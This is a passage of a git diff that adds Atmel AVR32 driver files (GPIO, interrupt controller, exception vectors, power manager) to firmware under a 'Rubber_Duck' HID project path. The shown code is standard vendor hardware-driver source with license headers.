\brief Drives a GPIO pin to 0. + * + * \param pin The pin number. + * + * \note The function \ref gpio_configure_pin must be called before. + */ +extern void gpio_set_pin_low(uint32_t pin); + +/*! \brief Drives a GPIO port to 0. + * + * \param port The port number. + * \param mask The mask. + */ +extern void gpio_set_group_low(uint32_t port, uint32_t mask); + +/*! \brief Toggles a GPIO pin. + * + * \param pin The pin number. + */ +extern void gpio_tgl_gpio_pin(uint32_t pin); + +/*! \brief Toggles a GPIO pin. + * + * \param pin The pin number. + * + * \note The function \ref gpio_configure_pin must be called before. + */ +extern void gpio_toggle_pin(uint32_t pin); + +/*! \brief Toggles a GPIO group. + * + * \param port The port number. + * \param mask The mask. + */ +extern void gpio_toggle_group(uint32_t port, uint32_t mask); + +/*! \brief Drives a GPIO pin to 1 using open drain. + * + * \param pin The pin number. + */ +extern void gpio_set_gpio_open_drain_pin(uint32_t pin); + +/*! \brief Drives a GPIO pin to 0 using open drain. + * + * \param pin The pin number. + */ +extern void gpio_clr_gpio_open_drain_pin(uint32_t pin); + +/*! \brief Toggles a GPIO pin using open drain. + * + * \param pin The pin number. + */ +extern void gpio_tgl_gpio_open_drain_pin(uint32_t pin); + +/*! \brief Enables the glitch filter of a pin. + * + * When the glitch filter is enabled, a glitch with duration of less than 1 + * clock cycle is automatically rejected, while a pulse with duration of 2 clock + * cycles or more is accepted. For pulse durations between 1 clock cycle and 2 + * clock cycles, the pulse may or may not be taken into account, depending on + * the precise timing of its occurrence. Thus for a pulse to be guaranteed + * visible it must exceed 2 clock cycles, whereas for a glitch to be reliably + * filtered out, its duration must not exceed 1 clock cycle. The filter + * introduces 2 clock cycles latency. + * + * \param pin The pin number. + */ +extern void gpio_enable_pin_glitch_filter(uint32_t pin); + +/*! \brief Disables the glitch filter of a pin. + * + * \param pin The pin number. + */ +extern void gpio_disable_pin_glitch_filter(uint32_t pin); + +/*! \brief Enables the interrupt of a pin with the specified settings. + * + * \param pin The pin number. + * \param mode The trigger mode (\ref GPIO_PIN_CHANGE, \ref GPIO_RISING_EDGE or + * \ref GPIO_FALLING_EDGE). + * + * \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT. + */ +extern int gpio_enable_pin_interrupt(uint32_t pin, uint32_t mode); + +/*! \brief Disables the interrupt of a pin. + * + * \param pin The pin number. + */ +extern void gpio_disable_pin_interrupt(uint32_t pin); + +/*! \brief Gets the interrupt flag of a pin. + * + * \param pin The pin number. + * + * \return The pin interrupt flag. + */ +extern int gpio_get_pin_interrupt_flag(uint32_t pin); + +/*! \brief Clears the interrupt flag of a pin. + * + * \param pin The pin number. + */ +extern void gpio_clear_pin_interrupt_flag(uint32_t pin); + +//! @} + + +#if (defined AVR32_GPIO_LOCAL_ADDRESS) +/*! \name Local Bus Interface + * + * High-speed interface with only one clock cycle per access. + * + * This interface operates with high clock frequency (fCPU), and its timing is + * deterministic since it does not need to access a shared bus which may be + * heavily loaded. + * + * \warning To use this interface, the clock frequency of the peripheral bus on + * which the GPIO peripheral is connected must be set to the CPU clock + * frequency (fPB = fCPU). + * + * \note This interface has to be initialized in order to be available. + */ +//! @{ + +/*! \brief Enables the local bus interface for GPIO. + * + * \note This function must have been called at least once before using other + * functions in this interface. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_init(void) +{ + Set_system_register(AVR32_CPUCR, + Get_system_register(AVR32_CPUCR) | AVR32_CPUCR_LOCEN_MASK); +} + +/*! \brief Enables the output driver of a pin. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init must have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin. + * \ref gpio_enable_gpio_pin can be called for this purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_enable_pin_output_driver(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].oders = 1 << (pin & 0x1F); +} + +/*! \brief Disables the output driver of a pin. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init must have been called beforehand. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_disable_pin_output_driver(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].oderc = 1 << (pin & 0x1F); +} + +/*! \brief Returns the value of a pin. + * + * \param pin The pin number. + * + * \return The pin value. + * + * \note \ref gpio_local_init must have been called beforehand. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline int gpio_local_get_pin_value(uint32_t pin) +{ + return (AVR32_GPIO_LOCAL.port[pin >> 5].pvr >> (pin & 0x1F)) & 1; +} + +/*! \brief Drives a GPIO pin to 1. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init must have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin nor its output + * driver. \ref gpio_enable_gpio_pin and + * \ref gpio_local_enable_pin_output_driver can be called for this + * purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_set_gpio_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].ovrs = 1 << (pin & 0x1F); +} + +/*! \brief Drives a GPIO pin to 0. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init must have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin nor its output + * driver. \ref gpio_enable_gpio_pin and + * \ref gpio_local_enable_pin_output_driver can be called for this + * purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_clr_gpio_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].ovrc = 1 << (pin & 0x1F); +} + +/*! \brief Toggles a GPIO pin. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init must have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin nor its output + * driver. \ref gpio_enable_gpio_pin and + * \ref gpio_local_enable_pin_output_driver can be called for this + * purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_tgl_gpio_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].ovrt = 1 << (pin & 0x1F); +} + +/*! \brief Initializes the configuration of a GPIO pin so that it can be used + * with GPIO open-drain functions. + * + * \note This function must have been called at least once before using + * \ref gpio_local_set_gpio_open_drain_pin, + * \ref gpio_local_clr_gpio_open_drain_pin or + * \ref gpio_local_tgl_gpio_open_drain_pin. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_init_gpio_open_drain_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].ovrc = 1 << (pin & 0x1F); +} + +/*! \brief Drives a GPIO pin to 1 using open drain. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init and \ref gpio_local_init_gpio_open_drain_pin must + * have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin. + * \ref gpio_enable_gpio_pin can be called for this purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_set_gpio_open_drain_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].oderc = 1 << (pin & 0x1F); +} + +/*! \brief Drives a GPIO pin to 0 using open drain. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init and \ref gpio_local_init_gpio_open_drain_pin must + * have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin. + * \ref gpio_enable_gpio_pin can be called for this purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_clr_gpio_open_drain_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].oders = 1 << (pin & 0x1F); +} + +/*! \brief Toggles a GPIO pin using open drain. + * + * \param pin The pin number. + * + * \note \ref gpio_local_init and \ref gpio_local_init_gpio_open_drain_pin must + * have been called beforehand. + * + * \note This function does not enable the GPIO mode of the pin. + * \ref gpio_enable_gpio_pin can be called for this purpose. + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_local_tgl_gpio_open_drain_pin(uint32_t pin) +{ + AVR32_GPIO_LOCAL.port[pin >> 5].odert = 1 << (pin & 0x1F); +} + +//! @} +#endif // AVR32_GPIO_LOCAL_ADDRESS + +#if UC3L +//! @{ +/*! \name Peripheral Event System support + * + * The GPIO can be programmed to output peripheral events whenever an interrupt + * condition is detected, such as pin value change, or only when a rising or + * falling edge is detected. + * + */ + +/*! \brief Enables the peripheral event generation of a pin. + * + * \param pin The pin number. + * + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_enable_pin_periph_event(uint32_t pin) +{ + AVR32_GPIO.port[pin >> 5].oderc = 1 << (pin & 0x1F); // The GPIO output driver is disabled for that pin. + AVR32_GPIO.port[pin >> 5].evers = 1 << (pin & 0x1F); +} + +/*! \brief Disables the peripheral event generation of a pin. + * + * \param pin The pin number. + * + */ +#if (defined __GNUC__) +__attribute__((__always_inline__)) +#endif +static inline void gpio_disable_pin_periph_event(uint32_t pin) +{ + AVR32_GPIO.port[pin >> 5].everc = 1 << (pin & 0x1F); +} + +/*! \brief Configure the peripheral event trigger mode of a pin + * + * \param pin The pin number. + * \param mode The trigger mode (\ref GPIO_PIN_CHANGE, \ref GPIO_RISING_EDGE or + * \ref GPIO_FALLING_EDGE). + * \param use_igf use the Input Glitch Filter (true) or not (false). + * + * \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT. + */ +extern int gpio_configure_pin_periph_event_mode(uint32_t pin, uint32_t mode, uint32_t use_igf); + +//! @} +#endif + + +#endif // _GPIO_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/intc/exception.S b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/intc/exception.S new file mode 100755 index 0000000..60b0ecf --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/intc/exception.S @@ -0,0 +1,237 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Exception and interrupt vectors. + * + * This file maps all events supported by an AVR32. + * + * - Compiler: GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with an INTC module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#if !__AVR32_UC__ && !__AVR32_AP__ + #error Implementation of the AVR32 architecture not supported by the INTC driver. +#endif + + +#include + + +//! @{ +//! \verbatim + + + .section .exception, "ax", @progbits + + +// Start of Exception Vector Table. + + // EVBA must be aligned with a power of two strictly greater than the EVBA- + // relative offset of the last vector. + .balign 0x200 + + // Export symbol. + .global _evba + .type _evba, @function +_evba: + + .org 0x000 + // Unrecoverable Exception. +_handle_Unrecoverable_Exception: + rjmp $ + + .org 0x004 + // TLB Multiple Hit. +_handle_TLB_Multiple_Hit: + rjmp $ + + .org 0x008 + // Bus Error Data Fetch. +_handle_Bus_Error_Data_Fetch: + rjmp $ + + .org 0x00C + // Bus Error Instruction Fetch. +_handle_Bus_Error_Instruction_Fetch: + rjmp $ + + .org 0x010 + // NMI. +_handle_NMI: + rjmp $ + + .org 0x014 + // Instruction Address. +_handle_Instruction_Address: + rjmp $ + + .org 0x018 + // ITLB Protection. +_handle_ITLB_Protection: + rjmp $ + + .org 0x01C + // Breakpoint. +_handle_Breakpoint: + rjmp $ + + .org 0x020 + // Illegal Opcode. +_handle_Illegal_Opcode: + rjmp $ + + .org 0x024 + // Unimplemented Instruction. +_handle_Unimplemented_Instruction: + rjmp $ + + .org 0x028 + // Privilege Violation. +_handle_Privilege_Violation: + rjmp $ + + .org 0x02C + // Floating-Point: UNUSED IN AVR32UC and AVR32AP. +_handle_Floating_Point: + rjmp $ + + .org 0x030 + // Coprocessor Absent: UNUSED IN AVR32UC. +_handle_Coprocessor_Absent: + rjmp $ + + .org 0x034 + // Data Address (Read). +_handle_Data_Address_Read: + rjmp $ + + .org 0x038 + // Data Address (Write). +_handle_Data_Address_Write: + rjmp $ + + .org 0x03C + // DTLB Protection (Read). +_handle_DTLB_Protection_Read: + rjmp $ + + .org 0x040 + // DTLB Protection (Write). +_handle_DTLB_Protection_Write: + rjmp $ + + .org 0x044 + // DTLB Modified: UNUSED IN AVR32UC. +_handle_DTLB_Modified: + rjmp $ + + .org 0x050 + // ITLB Miss. +_handle_ITLB_Miss: + rjmp $ + + .org 0x060 + // DTLB Miss (Read). +_handle_DTLB_Miss_Read: + rjmp $ + + .org 0x070 + // DTLB Miss (Write). +_handle_DTLB_Miss_Write: + rjmp $ + + .org 0x100 + // Supervisor Call. +_handle_Supervisor_Call: + rjmp $ + + +// Interrupt support. +// The interrupt controller must provide the offset address relative to EVBA. +// Important note: +// All interrupts call a C function named _get_interrupt_handler. +// This function will read group and interrupt line number to then return in +// R12 a pointer to a user-provided interrupt handler. + + .balign 4 + + .irp priority, 0, 1, 2, 3 +_int\priority: +#if __AVR32_UC__ + // R8-R12, LR, PC and SR are automatically pushed onto the system stack by the + // CPU upon interrupt entry. No other register is saved by hardware. +#elif __AVR32_AP__ + // PC and SR are automatically saved in respectively RAR_INTx and RSR_INTx by + // the CPU upon interrupt entry. No other register is saved by hardware. + pushm r8-r12, lr +#endif + mov r12, \priority // Pass the int_level parameter to the _get_interrupt_handler function. + call _get_interrupt_handler + cp.w r12, 0 // Get the pointer to the interrupt handler returned by the function. +#if __AVR32_UC__ + movne pc, r12 // If this was not a spurious interrupt (R12 != NULL), jump to the handler. +#elif __AVR32_AP__ + breq spint\priority // If this was a spurious interrupt (R12 == NULL), branch. + st.w --sp, r12 // Push the pointer to the interrupt handler onto the system stack since no register may be altered. + popm r8-r12, lr, pc // Restore registers and jump to the handler. +spint\priority: + popm r8-r12, lr +#endif + rete // If this was a spurious interrupt (R12 == NULL), return from event handler. + .endr + + +// Constant data area. + + .balign 4 + + // Values to store in the interrupt priority registers for the various interrupt priority levels. + // The interrupt priority registers contain the interrupt priority level and + // the EVBA-relative interrupt vector offset. + .global ipr_val + .type ipr_val, @object +ipr_val: + .word (AVR32_INTC_INT0 << AVR32_INTC_IPR_INTLEVEL_OFFSET) | (_int0 - _evba),\ + (AVR32_INTC_INT1 << AVR32_INTC_IPR_INTLEVEL_OFFSET) | (_int1 - _evba),\ + (AVR32_INTC_INT2 << AVR32_INTC_IPR_INTLEVEL_OFFSET) | (_int2 - _evba),\ + (AVR32_INTC_INT3 << AVR32_INTC_IPR_INTLEVEL_OFFSET) | (_int3 - _evba) + + +//! \endverbatim +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/intc/intc.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/intc/intc.c new file mode 100755 index 0000000..e9fa3b6 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/intc/intc.c @@ -0,0 +1,214 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief INTC driver for AVR32 UC3. + * + * AVR32 Interrupt Controller driver module. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with an INTC module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include +#include "compiler.h" +#include "preprocessor.h" +#include "intc.h" + +// define _evba from exception.S +extern void _evba; + +//! Values to store in the interrupt priority registers for the various interrupt priority levels. +extern const unsigned int ipr_val[AVR32_INTC_NUM_INT_LEVELS]; + +__int_handler _get_interrupt_handler(unsigned int int_level); + +//! Creates a table of interrupt line handlers per interrupt group in order to optimize RAM space. +//! Each line handler table contains a set of pointers to interrupt handlers. +#if (defined __GNUC__) +#define DECL_INT_LINE_HANDLER_TABLE(GRP, unused) \ +static volatile __int_handler _int_line_handler_table_##GRP[Max(AVR32_INTC_NUM_IRQS_PER_GRP##GRP, 1)]; +#elif (defined __ICCAVR32__) +#define DECL_INT_LINE_HANDLER_TABLE(GRP, unused) \ +static volatile __no_init __int_handler _int_line_handler_table_##GRP[Max(AVR32_INTC_NUM_IRQS_PER_GRP##GRP, 1)]; +#endif +MREPEAT(AVR32_INTC_NUM_INT_GRPS, DECL_INT_LINE_HANDLER_TABLE, ~); +#undef DECL_INT_LINE_HANDLER_TABLE + +//! Table containing for each interrupt group the number of interrupt request +//! lines and a pointer to the table of interrupt line handlers. +static const struct +{ + unsigned int num_irqs; + volatile __int_handler *_int_line_handler_table; +} _int_handler_table[AVR32_INTC_NUM_INT_GRPS] = +{ +#define INSERT_INT_LINE_HANDLER_TABLE(GRP, unused) \ + {AVR32_INTC_NUM_IRQS_PER_GRP##GRP, _int_line_handler_table_##GRP}, + MREPEAT(AVR32_INTC_NUM_INT_GRPS, INSERT_INT_LINE_HANDLER_TABLE, ~) +#undef INSERT_INT_LINE_HANDLER_TABLE +}; + + +/*! \brief Default interrupt handler. + * + * \note Taken and adapted from Newlib. + */ +#if (defined __GNUC__) +__attribute__((__interrupt__)) +#elif (defined __ICCAVR32__) +__interrupt +#endif +static void _unhandled_interrupt(void) +{ + // Catch unregistered interrupts. + while (TRUE); +} + + +/*! \brief Gets the interrupt handler of the current event at the \a int_level + * interrupt priority level (called from exception.S). + * + * \param int_level Interrupt priority level to handle. + * + * \return Interrupt handler to execute. + * + * \note Taken and adapted from Newlib. + */ +__int_handler _get_interrupt_handler(unsigned int int_level) +{ + // ICR3 is mapped first, ICR0 last. + // Code in exception.S puts int_level in R12 which is used by AVR32-GCC to + // pass a single argument to a function. + unsigned int int_grp = AVR32_INTC.icr[AVR32_INTC_INT3 - int_level]; + unsigned int int_req = AVR32_INTC.irr[int_grp]; + + // As an interrupt may disappear while it is being fetched by the CPU + // (spurious interrupt caused by a delayed response from an MCU peripheral to + // an interrupt flag clear or interrupt disable instruction), check if there + // are remaining interrupt lines to process. + // If a spurious interrupt occurs, the status register (SR) contains an + // execution mode and interrupt level masks corresponding to a level 0 + // interrupt, whatever the interrupt priority level causing the spurious + // event. This behavior has been chosen because a spurious interrupt has not + // to be a priority one and because it may not cause any trouble to other + // interrupts. + // However, these spurious interrupts place the hardware in an unstable state + // and could give problems in other/future versions of the CPU, so the + // software has to be written so that they never occur. The only safe way of + // achieving this is to always clear or disable peripheral interrupts with the + // following sequence: + // 1: Mask the interrupt in the CPU by setting GM (or IxM) in SR. + // 2: Perform the bus access to the peripheral register that clears or + // disables the interrupt. + // 3: Wait until the interrupt has actually been cleared or disabled by the + // peripheral. This is usually performed by reading from a register in the + // same peripheral (it DOES NOT have to be the same register that was + // accessed in step 2, but it MUST be in the same peripheral), what takes + // bus system latencies into account, but peripheral internal latencies + // (generally 0 cycle) also have to be considered. + // 4: Unmask the interrupt in the CPU by clearing GM (or IxM) in SR. + // Note that steps 1 and 4 are useless inside interrupt handlers as the + // corresponding interrupt level is automatically masked by IxM (unless IxM is + // explicitly cleared by the software). + // + // Get the right IRQ handler. + // + // If several interrupt lines are active in the group, the interrupt line with + // the highest number is selected. This is to be coherent with the + // prioritization of interrupt groups performed by the hardware interrupt + // controller. + // + // If no handler has been registered for the pending interrupt, + // _unhandled_interrupt will be selected thanks to the initialization of + // _int_line_handler_table_x by INTC_init_interrupts. + // + // exception.S will provide the interrupt handler with a clean interrupt stack + // frame, with nothing more pushed onto the stack. The interrupt handler must + // manage the `rete' instruction, what can be done thanks to pure assembly, + // inline assembly or the `__attribute__((__interrupt__))' C function + // attribute. + return (int_req) ? _int_handler_table[int_grp]._int_line_handler_table[32 - clz(int_req) - 1] : NULL; +} + +//! Init EVBA address. This sequence might also be done in the utils/startup/startup_uc3.S file. +static __inline__ void INTC_init_evba(void) +{ + Set_system_register(AVR32_EVBA, (int)&_evba ); +} + +void INTC_init_interrupts(void) +{ + unsigned int int_grp, int_req; + + INTC_init_evba(); + + // For all interrupt groups, + for (int_grp = 0; int_grp < AVR32_INTC_NUM_INT_GRPS; int_grp++) + { + // For all interrupt request lines of each group, + for (int_req = 0; int_req < _int_handler_table[int_grp].num_irqs; int_req++) + { + // Assign _unhandled_interrupt as default interrupt handler. + _int_handler_table[int_grp]._int_line_handler_table[int_req] = &_unhandled_interrupt; + } + + // Set the interrupt group priority register to its default value. + // By default, all interrupt groups are linked to the interrupt priority + // level 0 and to the interrupt vector _int0. + AVR32_INTC.ipr[int_grp] = ipr_val[AVR32_INTC_INT0]; + } +} + + +void INTC_register_interrupt(__int_handler handler, unsigned int irq, unsigned int int_level) +{ + // Determine the group of the IRQ. + unsigned int int_grp = irq / AVR32_INTC_MAX_NUM_IRQS_PER_GRP; + + // Store in _int_line_handler_table_x the pointer to the interrupt handler, so + // that _get_interrupt_handler can retrieve it when the interrupt is vectored. + _int_handler_table[int_grp]._int_line_handler_table[irq % AVR32_INTC_MAX_NUM_IRQS_PER_GRP] = handler; + + // Program the corresponding IPRX register to set the interrupt priority level + // and the interrupt vector offset that will be fetched by the core interrupt + // system. + // NOTE: The _intx functions are intermediate assembly functions between the + // core interrupt system and the user interrupt handler. + AVR32_INTC.ipr[int_grp] = ipr_val[int_level & (AVR32_INTC_IPR_INTLEVEL_MASK >> AVR32_INTC_IPR_INTLEVEL_OFFSET)]; +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/intc/intc.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/intc/intc.h new file mode 100755 index 0000000..cdb6c76 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/intc/intc.h @@ -0,0 +1,98 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief INTC driver for AVR32 UC3. + * + * AVR32 Interrupt Controller driver module. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with an INTC module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _INTC_H_ +#define _INTC_H_ + +#include "compiler.h" + + +//! Maximal number of interrupt request lines per group. +#define AVR32_INTC_MAX_NUM_IRQS_PER_GRP 32 + +//! Number of interrupt priority levels. +#define AVR32_INTC_NUM_INT_LEVELS (1 << AVR32_INTC_IPR_INTLEVEL_SIZE) + + +#ifdef __AVR32_ABI_COMPILER__ // Automatically defined when compiling for AVR32, not when assembling. + +//! Pointer to interrupt handler. +#if (defined __GNUC__) +typedef void (*__int_handler)(void); +#elif (defined __ICCAVR32__) +typedef void (__interrupt *__int_handler)(void); +#endif + + +/*! \brief Initializes the hardware interrupt controller driver. + * + * \note Taken and adapted from Newlib. + */ +extern void INTC_init_interrupts(void); + +/*! \brief Registers an interrupt handler. + * + * \param handler Interrupt handler to register. + * \param irq IRQ of the interrupt handler to register. + * \param int_level Interrupt priority level to assign to the group of this IRQ. + * + * \warning The interrupt handler must manage the `rete' instruction, what can + * be done thanks to pure assembly, inline assembly or the + * `__attribute__((__interrupt__))' C function attribute. + * + * \warning If several interrupt handlers of a same group are registered with + * different priority levels, only the latest priority level set will + * be effective. + * + * \note Taken and adapted from Newlib. + */ +extern void INTC_register_interrupt(__int_handler handler, unsigned int irq, unsigned int int_level); + +#endif // __AVR32_ABI_COMPILER__ + + +#endif // _INTC_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/pm.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/pm.c new file mode 100755 index 0000000..7f8e305 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/pm.c @@ -0,0 +1,566 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Power Manager driver. + * + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 